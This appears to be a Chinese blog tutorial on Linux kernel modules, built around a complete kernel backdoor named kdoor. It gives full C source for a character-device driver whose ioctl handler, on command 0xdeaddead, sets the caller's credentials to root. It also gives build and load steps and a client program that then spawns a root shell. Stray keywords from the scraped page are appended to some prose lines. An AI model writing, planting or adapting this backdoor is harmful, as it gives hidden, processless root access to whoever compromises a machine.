Linux內核支持運行時動態擴展,即運行時動態加載內核擴展模塊(.ko文件),ko文件所包含的代碼經加載後即成爲內核代碼的一部分,擁有內核特權,能夠調用內核其它組件,訪問內核空間數據以及操做硬件。固然也有跟內核代碼同樣的限制,如較小的函數調用棧,不支持浮點運算等。node
此處列舉一些內核模塊特有的能力:shell
此外,因爲衆所周知的緣由,開發內核模塊,只能使用C語言。數組
內核和用戶空間的通訊,主要有如下幾種方式:安全
其中,系統調用是最直接的,但不適用於內核模塊,由於擴展系統調用須要編譯整個內核,這違背了運行時動態擴展的初衷;/proc是一個僞文件系統,能夠用於傳遞信息,但沒法作到實時,由於文件系統是被動的;netlink接口相似socket,提供內核和用戶態間的雙向通訊,功能上徹底沒問題,但用起來有些複雜,適合作更重要的事情。因此,這裏用ioctl來實現。bash
ioctl是針對文件的操做,因此這裏的套路是:建立一個設備文件,並把內核模塊指定爲這個設備文件的驅動程序。這樣,用戶空間對這個設備文件發出的ioctl指令,便可傳達給內核模塊。框架
因爲內核代碼擁有系統最高權限(固然,裝載內核模塊須要root權限,不然系統就沒有安全性可言了),故能夠在內核模塊中留下後門,以便隨後的某個時刻獲取系統最高權限。其實現思路很簡單,內核模塊加載後做爲內核一部分運行,用戶空間進程經過ioctl調用內核模塊中的函數,內核模塊將調用者進程的uid和gid設置爲root,便可實現權限提高。另外,因爲內核模塊是跟內核運行在一塊兒的,故這種後門是沒有進程的。socket
//其中init和cleanup是模塊裏實現的函數,會在下面介紹
module_init(init);
module_exit(cleanup);
複製代碼
內核模塊被加載和卸載時,相應的初始化和清理函數被調用,通常是作一些資源的申請、釋放操做。函數
分配設備號,並指定模塊中的函數做爲設備驅動例程,這個過程通常在模塊的初始化函數裏實現,模塊的初始化函數在模塊被加載時被自動調用:ui
static int init(void) {
const char *const dev_name = "/dev/kdoor";
g_major = register_chrdev(0, dev_name, &fops);
if (g_major < 0) {
return g_major;
}
return 0;
}
複製代碼
其中的fops是一個函數指針數組,用於指定設備驅動函數地址,這裏只須要註冊響應打開文件,關閉文件和ioctl的函數:spa
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = device_open,
.release = device_release,
.unlocked_ioctl = device_ioctl
};
複製代碼
同理,須要在模塊被卸載時卸載驅動。釋放設備號資源:
static void cleanup(void) {
//這個dev_name將出如今/proc/devices裏
const char *const dev_name = "/dev/kdoor";
unregister_chrdev(g_major, dev_name);
}
複製代碼
有進程打開相應設備文件時,該函數被自動調用,這裏因爲功能太簡單,什麼都不須要作,返回成功便可:
static int device_open(struct inode *inode, struct file *file) {
return 0;
}
複製代碼
有進程在設備文件上調用ioctl時,該函數被自動調用,咱們的後門功能也就在這裏完成:
static long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
//涉及到Linux的RCU操做,不能直接賦值,稍微有點繁瑣但並不複雜
struct cred *new_cred;
kuid_t kuid = KUIDT_INIT(0);
kgid_t kgid = KGIDT_INIT(0);
if (cmd == 0xdeaddead) {
new_cred = prepare_creds();
if (new_cred == NULL) {
return -ENOMEM;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
commit_creds(new_cred);
}
return 0;
}
複製代碼
設備文件描述符被關閉時,或者進程異常時,這個函數被自動調用,針對這個例子,這裏依然什麼都不須要作:
static int device_release(struct inode *inode, struct file *file) {
return 0;
}
複製代碼
核心是一個特殊的Makefile:
ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD)
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
複製代碼
另外,內核模塊編譯時,還須要安裝內核開發目錄。
上述模塊通過編譯後,便可獲得一個ko文件:
insmod ./kdoor.ko
複製代碼
使用mknod命令建立設備文件: 根據設備驅動編號建立設備文件,以便用戶空間能夠與內核模塊通訊:
mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
複製代碼
第二個參數c表示此處建立的是一個字符設備,第三個參數是設備號,能夠從/proc/devices文件獲取。
直接上代碼(留意註釋):
int main(int argc, char *argv[]) {
const char * const dev_name = "/dev/kdoor";
//打開文件
int fd = open(dev_name, O_RDWR);
if (-1 == fd) {
return 1;
}
//經過ioctl調用到模塊中的實現
int ret = ioctl(fd, 0xdeaddead, 0);
if (ret != 0) {
return 1;
}
//執行shell,此shell即擁有root權限
execlp("sh", "sh", NULL);
return 0;
}
複製代碼
本文經過開發一個簡單內核後門(普通進程經過訪問內核模塊來提高權限)的開發,演示來內核模塊的能力,以及模塊做爲設備驅動與用戶空間通訊的通常套路,但願能起到拋磚引玉的做用,至少讓讀者知道有內核模塊這麼一回事。